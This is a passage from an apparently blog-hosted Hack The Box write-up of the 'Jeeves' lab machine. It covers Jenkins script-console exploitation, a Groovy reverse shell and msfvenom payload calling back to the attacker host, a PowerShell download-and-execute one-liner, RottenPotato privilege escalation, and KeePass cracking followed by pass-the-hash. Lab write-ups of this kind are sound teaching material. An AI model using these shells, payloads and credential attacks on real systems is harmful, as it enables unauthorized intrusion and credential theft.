40777/rwxrwxrwx   0     dir   2017-11-03 22:50:40 -0400  My Pictures
40777/rwxrwxrwx   0     dir   2017-11-03 22:50:40 -0400  My Videos
100666/rw-rw-rw-  402   fil   2017-11-03 23:15:51 -0400  desktop.ini

meterpreter &amp;gt; download CEH.kdbx
[*] Downloading: CEH.kdbx -&amp;gt; CEH.kdbx
[*] Downloaded 2.78 KiB of 2.78 KiB (100.0%): CEH.kdbx -&amp;gt; CEH.kdbx
[*] download   : CEH.kdbx -&amp;gt; CEH.kdbx
meterpreter &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;verifying the downloaded file&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/jeeves# file CEH.kdbx
CEH.kdbx: Keepass password database 2.x KDBX
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Before we can crack the &lt;code class=&quot;highlighter-rouge&quot;&gt;CEH.kbdx&lt;/code&gt; we need to convert it to a format that either &lt;code class=&quot;highlighter-rouge&quot;&gt;john&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;hashcat&lt;/code&gt; can understand. We can use the tool &lt;code class=&quot;highlighter-rouge&quot;&gt;keepass2john&lt;/code&gt; (comes preinstalled on kali) to do this.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/jeeves# keepass2john CEH.kdbx
CEH:$keepass$*2*6000*222*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
root@dastinia:~/htb/jeeves# keepass2john CEH.kdbx &amp;gt; CEH.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;cracking the hash &amp;amp; getting the password of the vault with john&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/jeeves# john --wordlist=/usr/share/wordlists/rockyou.txt CEH.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Press 'q' or Ctrl-C to abort, almost any other key for status
moonshine1       (CEH)
1g 0:00:01:02 DONE (2018-05-16 23:54) 0.01601g/s 880.4p/s 880.4c/s 880.4C/s moonshine1
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We can then open this file with the Keepass utility, and the password we discovered with JTR.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/RYZ8yPc.png&quot; alt=&quot;Opening KeePass Database File&quot; title=&quot;Opening KeePass Database with cracked password -'moonshine1'&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here are the contents that were contained in the keepass database file.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Password
12345
F7WhTrSFDKB6sxHU1cUn
pwndyouall!
lCEUnYPjNfIuPZSzOySA
S1TjAtJHKsugh9oC4VZl
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We have a few passwords &amp;amp; and a hash &lt;code class=&quot;highlighter-rouge&quot;&gt;aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00&lt;/code&gt; which happens to be an &lt;code class=&quot;highlighter-rouge&quot;&gt;NTLM&lt;/code&gt; hash. The &lt;code class=&quot;highlighter-rouge&quot;&gt;SMB&lt;/code&gt; Service (Port 445) is exposed on this server, so we can attempt to authenticate to the system using a password spray attack or a pass-the-hash attack.&lt;/p&gt;

&lt;p&gt;I’m a pretty big fan of &lt;a href=&quot;https://github.com/byt3bl33d3r/CrackMapExec&quot;&gt;CrackMapExec&lt;/a&gt; as a tool, and I use it pretty frequently for my real life work as well.&lt;/p&gt;

&lt;p&gt;Some CME syntax: &lt;code class=&quot;highlighter-rouge&quot;&gt;-p&lt;/code&gt; is for a list of passwords, and &lt;code class=&quot;highlighter-rouge&quot;&gt;-H&lt;/code&gt; is for a list of hashes.&lt;/p&gt;

&lt;p&gt;I used the &lt;code class=&quot;highlighter-rouge&quot;&gt;--lusers&lt;/code&gt; flag to enumerate the logged on users just to validate that the credentials I used actually worked.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/W9jh3Sn.png&quot; alt=&quot;&amp;quot;Credential &amp;amp; Hash Spraying with CrackMapExec&amp;quot;)&quot; title=&quot;Credential &amp;amp; Hash Spraying with CrackMapExec&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;shell-with-metasploit-psexec-module--hash&quot;&gt;Shell with Metasploit PSEXEC Module &amp;amp; Hash&lt;/h5&gt;

&lt;p&gt;With a valid hash of the administrator account, we can perform a pass-the-hash attack &amp;amp; compromise the machine. I chose to use Metasploit for this, but there are plenty of tools which do the same thing as this module.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Getting SYSTEM shell with msf psexec&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) &amp;gt; options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOST                 10.10.10.63                                                        yes       The target address
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                                  no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.15.30      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
   
msf exploit(windows/smb/psexec) &amp;gt; exploit -j -z
[*] Exploit running as background job 2.

[*] Started reverse TCP handler on 10.10.15.30:4444
[*] 10.10.10.63:445 - Connecting to the server...
[*] 10.10.10.63:445 - Authenticating to 10.10.10.63:445 as user 'Administrator'...
[*] 10.10.10.63:445 - Selecting PowerShell target
[*] 10.10.10.63:445 - Executing the payload...
[+] 10.10.10.63:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.10.10.63
[*] Meterpreter session 3 opened (10.10.15.30:4444 -&amp;gt; 10.10.10.63:49686) at 2018-05-17 00:18:23 -0400
msf exploit(windows/smb/psexec) &amp;gt; sessions -i 3
[*] Starting interaction with 3...

meterpreter &amp;gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;getting-the-hidden-roottxt&quot;&gt;Getting the “Hidden” root.txt&lt;/h2&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;meterpreter &amp;gt; cat hm.txt
The flag is elsewhere.  Look deeper
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We drop into a regular shell, and run a &lt;code class=&quot;highlighter-rouge&quot;&gt;dir /a&lt;/code&gt; which will show all files with the “hidden” attribute set.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Administrator\Desktop&amp;gt;dir /a

 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    &amp;lt;DIR&amp;gt;          .
11/08/2017  10:05 AM    &amp;lt;DIR&amp;gt;          ..
11/03/2017  10:03 PM               282 desktop.ini
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               3 File(s)          1,115 bytes
               2 Dir(s)   7,032,709,120 bytes free

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;dir /a&lt;/code&gt; will already show all of the hidden files on the system so likely the file is being hidden by another means.&lt;/p&gt;

&lt;p&gt;In windows the only way you can really hide files is either by setting the &lt;code class=&quot;highlighter-rouge&quot;&gt;hidden attribute&lt;/code&gt; with an &lt;code class=&quot;highlighter-rouge&quot;&gt;attrib +h &quot;whatever_thing_here&quot;&lt;/code&gt; or through something called an &lt;a href=&quot;https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/&quot;&gt;Alternate Data Stream&lt;/a&gt; which is an NTFS specific thing.&lt;/p&gt;

&lt;p&gt;To see files with an alternate data stream do a &lt;code class=&quot;highlighter-rouge&quot;&gt;dir /R&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Administrator\Desktop&amp;gt;dir /R

 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    &amp;lt;DIR&amp;gt;          .
11/08/2017  10:05 AM    &amp;lt;DIR&amp;gt;          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,030,882,304 bytes free
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;That &lt;code class=&quot;highlighter-rouge&quot;&gt;hm.txt:root.txt:$DATA&lt;/code&gt; means that the file &lt;code class=&quot;highlighter-rouge&quot;&gt;root.txt&lt;/code&gt; is inside an alternate data stream inside &lt;code class=&quot;highlighter-rouge&quot;&gt;hm.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can see the contents of an ADS stream a few different ways but the simplist way in my opinion is using the &lt;code class=&quot;highlighter-rouge&quot;&gt;more&lt;/code&gt; command on windows…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Administrator\Desktop&amp;gt;more &amp;lt; hm.txt:root.txt
...[FLAG REDACTED]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Box Complete :)&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;p&gt;https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password&lt;/p&gt;

&lt;p&gt;http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html&lt;/p&gt;

&lt;p&gt;https://medium.com/@exgq/hacking-jenkins-68f7f6a810eb&lt;/p&gt;

&lt;p&gt;https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe&lt;/p&gt;

&lt;p&gt;https://www.rubydevices.com.au/blog/how-to-hack-keepass&lt;/p&gt;

&lt;p&gt;https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html&lt;/p&gt;

&lt;p&gt;http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/&lt;/p&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><summary type="html">Intro I honestly had a whole lot of fun with Jeeves. It had multiple ways of attacking/rooting it, while also being a very realistic example of something that you would see the real world. It wasn’t an extremely difficult box, but you definitely had to do a little research to be successful in successfully rooting it. Definitely adding Jeeves to my list of HTB favorites. Tools Used Nmap Web Browser Ncat Dirbuster Metasploit Framework Powershell GDSecurity Windows Privesc Suggester CrackMapExec John the Ripper Enumeration Inital Scanning Like with every box lets start off with an nmap scan on Jeeves(10.10.10.63)… root@dastinia:~/htb/jeeves# nmap -T4 -sC -sV -n 10.10.10.63 -oA jeeves_initial_scan Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-16 08:57 EDT Nmap scan report for 10.10.10.63 Host is up (0.15s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Ask Jeeves 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 50000/tcp open http Jetty 9.4.z-SNAPSHOT |_http-title: Error 404 Not Found Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2018-05-16 13:58:08 |_ start_date: 2018-05-16 11:17:53 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 56.30 seconds Small Note: IF you aren’t extremely familiar with windows you can usually tell what version of Windows is running by the version of IIS that’s being displayed. As you can see it’s Microsoft IIS httpd 10.0 which means that this version of windows is likely Windows Server 2016 or Windows 10. It’s not 100% conclusive, but you can get an idea of what you are working with. A full port scan was ran in the background, but no additional ports/services were discovered. Enumerating Port 80 Visiting the webserver on port 80 gives us this throwback to the past with an ask jeeves search engine webpage. There’s a search bar so I input all specicial charaters to see how the “application” parses it… You are presented with the fake “error page” above, which is just an image of an error page. Enumerating Port 50000 (Jetty/Jenkins) Visting the application on port 50000 in a Web browers leads us to a Jetty 404 Error page. Whenever I encounter an application that error message that looks fairly unique, I always copy &amp;amp; paste the error message into Google and see what happens. This technique is very underrated, google that shit. We are seeing quite a few results for Jenkins, so there is a high probability that this server is running Jenkins as a service, and now we just have to discover it. Dirbuster Next step is to dirbuster everything to discover the jenkins dashboard path. I always use the directory-list-2.3-medium.txt which comes default in kali for most HTB boxes. DirBuster 1.0-RC1 - Report http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Report produced on Wed May 16 09:48:14 EDT 2018 -------------------------------- http://10.10.10.63:50000 -------------------------------- Directories found during testing: Dirs found with a 200 response: /askjeeves/ /askjeeves/people/ /askjeeves/about/ /askjeeves/log/ /askjeeves/computer/ /askjeeves/api/ /askjeeves/log/rss/ /askjeeves/api/xml/ /askjeeves/people/api/ /askjeeves/script/ /askjeeves/api/python/ /askjeeves/people/api/xml/ .... [TRUNCATED] .... -------------------------------- It looks like /askjeves/ seems to be the correct path for the Jenkins main dashboard, confirming our suspicions that Jenkins is the running service. Exploitation Exploiting Jenkins Jenkins is pretty much code execution as a service, so exploiting it shouldn’t be too much of a hassle. There are a few ways to shell this box so I’ll try and cover the main paths. This particular jenkins server didn’t require authentication to do actions against it which is a pretty big (but common) misconfiguration. Method 1: Jenkins Script Console Jenkins has a scripting console, which you can access by going to Manage Jenkins =&amp;gt; Script Console You can write scripts in the Groovy Scripting Language. I searched for groovy script run command example or if you just want to skip straight to the shell search groovy script reverse shell Testing to see if we have code execution… def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'powershell.exe $PSVERSIONTABLE'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println &quot;out&amp;gt; $sout err&amp;gt; $serr&quot; Output: We confirmed that we have code execution. Now lets shell it. From my search of groovy script reverse shell, I came across this Github gist – change the host and port parameter to match your settings, and hit “Run” in the script console &amp;amp; you will get a reverse shell. String host=&quot;10.10.15.30&quot;; int port=8282; String cmd=&quot;cmd.exe&quot;; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&amp;gt;0)so.write(pi.read());while(pe.available()&amp;gt;0)so.write(pe.read());while(si.available()&amp;gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); Getting Reverse shell via Jenkins Script Console root@dastinia:~/htb/jeeves# ncat -lnvp 8282 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::8282 Ncat: Listening on 0.0.0.0:8282 Ncat: Connection from 10.10.10.63. Ncat: Connection from 10.10.10.63:49723. Microsoft Windows [Version 10.0.10586] (c) 2015 Microsoft Corporation. All rights reserved. C:\Users\Administrator\.jenkins&amp;gt;whoami /all whoami /all USER INFORMATION ---------------- User Name SID ============== =========================================== jeeves\kohsuke S-1-5-21-2851396806-8246019-2289784878-1001 GROUP INFORMATION ----------------- Group Name Type SID Attributes ==================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled ERROR: Unable to get user claims information. Method 2: Build Job Exec Command With Jenkins you can execute system commands as part of a deployment build job. The Jenkins server allowed anyone to do anything even to the anonymous user which means we can create a malicious deployment &amp;amp; execute our code. Steps: Create new Build Job (http://10.10.10.63:50000/askjeeves/view/all/newJob) Select “FreeStyle Project’ Hit Ok Select “Build Enviroment” Generate payload / put the code you want to execute as a build step Hit Apply Start Build You can run any system commands you want in the predeployment step, I used a msfvenom payload just to validate that it’s possible. root@dastinia:~# msfvenom -p windows/meterpreter/reverse_http LHOST=10.10.15.30 LPORT=8081 -f psh-cmd &amp;gt; 8081.cmd No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 588 bytes Final size of psh-cmd file: 7111 bytes Hit Save &amp;amp; Apply msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/meterpreter/reverse_http PAYLOAD =&amp;gt; windows/meterpreter/reverse_http msf exploit(multi/handler) &amp;gt; set LPORT 8081 LPORT =&amp;gt; 8081 msf exploit(multi/handler) &amp;gt; exploit -j [*] Exploit running as background job 2. [*] Started HTTP reverse handler on http://10.10.15.30:8081 msf exploit(multi/handler) &amp;gt; jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 1 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://10.10.15.30:8383 2 Exploit: multi/handler windows/meterpreter/reverse_http http://10.10.15.30:8081 msf exploit(multi/handler) &amp;gt; [*] http://10.10.15.30:8081 handling request from 10.10.10.63; (UUID: mwj6ua5f) Staging x86 payload (180825 bytes) ... [*] Meterpreter session 2 opened (10.10.15.30:8081 -&amp;gt; 10.10.10.63:49761) at 2018-05-16 15:14:13 -0400 The session may die rapidly, so you may want to make it automigrate, but I prefer the groovy script method since it’s easier. This just validates that you can do it this way if you choose. Privilege Escalation Lets run the results of the systeminfo command through GDSSecurity Windows Exploit Suggester,and see if there are any potential exploits/LPE’s we can utilize. This is usually one of the first steps I take when I get on a windows box because you can very quickly determine if you have a path to esclatate your privileges through an exploit, or if you have to discover another way. C:\Users\kohsuke\Desktop&amp;gt;systeminfo Host Name: JEEVES OS Name: Microsoft Windows 10 Pro OS Version: 10.0.10586 N/A Build 10586 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00331-20304-47406-AA297 Original Install Date: 10/25/2017, 4:45:33 PM System Boot Time: 5/16/2018, 2:45:50 PM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2100 Mhz BIOS Version: VMware, Inc. VMW71.00V.0.B64.1704110547, 4/11/2017 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-05:00) Eastern Time (US &amp;amp; Canada) Total Physical Memory: 2,047 MB Available Physical Memory: 873 MB Virtual Memory: Max Size: 2,687 MB Virtual Memory: Available: 1,293 MB Virtual Memory: In Use: 1,394 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: N/A Hotfix(s): 10 Hotfix(s) Installed. [01]: KB3150513 [02]: KB3161102 [03]: KB3172729 [04]: KB3173428 [05]: KB4021702 [06]: KB4022633 [07]: KB4033631 [08]: KB4035632 [09]: KB4051613 [10]: KB4041689 Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) 82574L Gigabit Network Connection Connection Name: Ethernet0 DHCP Enabled: No IP address(es) [01]: 10.10.10.63 Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed It looks like this machine is vulnerable two a few LPE exploits the big ones being MS16-075 (RottenPotato) &amp;amp; MS16-032. From our sysinfo output we can rule out MS16-032 because that particular exploit requires two cpu(s), and this machine has only one cpu. It looks like this machine is vulnerable to MS16-075 (which I would say is fairly reliable when available), and from our eariler whoami /all command it seems we have everything in place to successfully execute this exploit. Method 1: MS16-075 “RottenPotato” The steps to successfully exploit MS16-075 “rotten potato” (with meterpreter) is: Have meterpreter shell Upload RottenPotato/potato exploit executeable Load ignognito on meterpreter session Execute rottenpotato executable Impersonate NT Authority/SYSTEM token You are now system. Powershell 1-liner for download + executing file (getting meterpreter shell): powershell -exec bypass -c &quot;(New-Object Net.WebClient).DownloadFile('http://10.10.15.30:9999/8383.exe','8383.exe')&quot;;Start-Process '8383.exe' On Jeeves Host C:\Users\Administrator\.jenkins&amp;gt;cd %appdata% C:\Users\kohsuke\AppData\Roaming&amp;gt;powershell -exec bypass -c &quot;(New-Object Net.WebClient).DownloadFile('http://10.10.15.30:9999/8383.exe','8383.exe')&quot;;Start-Process '8383.exe' C:\Users\kohsuke\AppData\Roaming&amp;gt; Attack Box msf &amp;gt; [*] Sending stage (179779 bytes) to 10.10.10.63 [*] Meterpreter session 4 opened (10.10.15.30:8383 -&amp;gt; 10.10.10.63:49682) at 2018-05-16 17:07:54 -0400 msf &amp;gt; msf &amp;gt; sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x86/windows 10.10.15.30:8081 -&amp;gt; 10.10.10.63:49761 (10.10.10.63) 4 meterpreter x86/windows JEEVES\kohsuke @ JEEVES 10.10.15.30:8383 -&amp;gt; 10.10.10.63:49682 (10.10.10.63) Completing the required steps for the exploit meterpreter &amp;gt; upload /opt/serve/windows/priv/rottenpotato.exe [*] uploading : /opt/serve/windows/priv/rottenpotato.exe -&amp;gt; rottenpotato.exe [*] Uploaded 664.00 KiB of 664.00 KiB (100.0%): /opt/serve/windows/priv/rottenpotato.exe -&amp;gt; rottenpotato.exe [*] uploaded : /opt/serve/windows/priv/rottenpotato.exe -&amp;gt; rottenpotato.exe meterpreter &amp;gt; getuid Server username: JEEVES\kohsuke meterpreter &amp;gt; getprivs Enabled Process Privileges ========================== Name ---- SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseWorkingSetPrivilege SeShutdownPrivilege SeTimeZonePrivilege SeUndockPrivilege meterpreter &amp;gt; load incognito Loading extension incognito...Success. meterpreter &amp;gt; list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== JEEVES\kohsuke Impersonation Tokens Available ======================================== No tokens available meterpreter &amp;gt; execute -cH -f rottenpotato.exe Process 3620 created. Channel 2 created. meterpreter &amp;gt; list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== JEEVES\kohsuke Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM meterpreter &amp;gt; impersonate_token &quot;NT AUTHORITY\SYSTEM&quot; [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter &amp;gt; getuid Server username: NT AUTHORITY\SYSTEM Method 2: Crack Keepass Database to Pass-the-hash If you searched through the user kohsuke documents directory you would discover a file called CEH.kbdx. Normally the .kbdx file extension is associated with the KeePass Password Safe. If we can crack the password on this vault file, we will likely find credentials to potentially the local administrator account. Downloading the Keepass Database file with meterpreter meterpreter &amp;gt; cd Documents meterpreter &amp;gt; dir Listing: C:\Users\kohsuke\Documents =================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 2846 fil 2017-09-18 13:43:17 -0400 CEH.kdbx 40777/rwxrwxrwx 0 dir 2017-11-03 22:50:40 -0400 My Music 40777/rwxrwxrwx 0 dir 2017-11-03 22:50:40 -0400 My Pictures 40777/rwxrwxrwx 0 dir 2017-11-03 22:50:40 -0400 My Videos 100666/rw-rw-rw- 402 fil 2017-11-03 23:15:51 -0400 desktop.ini meterpreter &amp;gt; download CEH.kdbx [*] Downloading: CEH.kdbx -&amp;gt; CEH.kdbx [*] Downloaded 2.78 KiB of 2.78 KiB (100.0%): CEH.kdbx -&amp;gt; CEH.kdbx [*] download : CEH.kdbx -&amp;gt; CEH.kdbx meterpreter &amp;gt; verifying the downloaded file root@dastinia:~/htb/jeeves# file CEH.kdbx CEH.kdbx: Keepass password database 2.x KDBX Before we can crack the CEH.kbdx we need to convert it to a format that either john or hashcat can understand. We can use the tool keepass2john (comes preinstalled on kali) to do this. root@dastinia:~/htb/jeeves# keepass2john CEH.kdbx CEH:$keepass$*2*6000*222*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48 root@dastinia:~/htb/jeeves# keepass2john CEH.kdbx &amp;gt; CEH.hash cracking the hash &amp;amp; getting the password of the vault with john root@dastinia:~/htb/jeeves# john --wordlist=/usr/share/wordlists/rockyou.txt CEH.hash Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL]) Press 'q' or Ctrl-C to abort, almost any other key for status moonshine1 (CEH) 1g 0:00:01:02 DONE (2018-05-16 23:54) 0.01601g/s 880.4p/s 880.4c/s 880.4C/s moonshine1 Use the &quot;--show&quot; option to display all of the cracked passwords reliably Session completed We can then open this file with the Keepass utility, and the password we discovered with JTR. Here are the contents that were contained in the keepass database file. Password 12345 F7WhTrSFDKB6sxHU1cUn pwndyouall! lCEUnYPjNfIuPZSzOySA S1TjAtJHKsugh9oC4VZl aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 We have a few passwords &amp;amp; and a hash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 which happens to be an NTLM hash. The SMB Service (Port 445) is exposed on this server, so we can attempt to authenticate to the system using a password spray attack or a pass-the-hash attack. I’m a pretty big fan of CrackMapExec as a tool, and I use it pretty frequently for my real life work as well. Some CME syntax: -p is for a list of passwords, and -H is for a list of hashes. I used the --lusers flag to enumerate the logged on users just to validate that the credentials I used actually worked. Shell with Metasploit PSEXEC Module &amp;amp; Hash With a valid hash of the administrator account, we can perform a pass-the-hash attack &amp;amp; compromise the machine. I chose to use Metasploit for this, but there are plenty of tools which do the same thing as this module. Getting SYSTEM shell with msf psexec msf &amp;gt; use exploit/windows/smb/psexec msf exploit(windows/smb/psexec) &amp;gt; options Module options 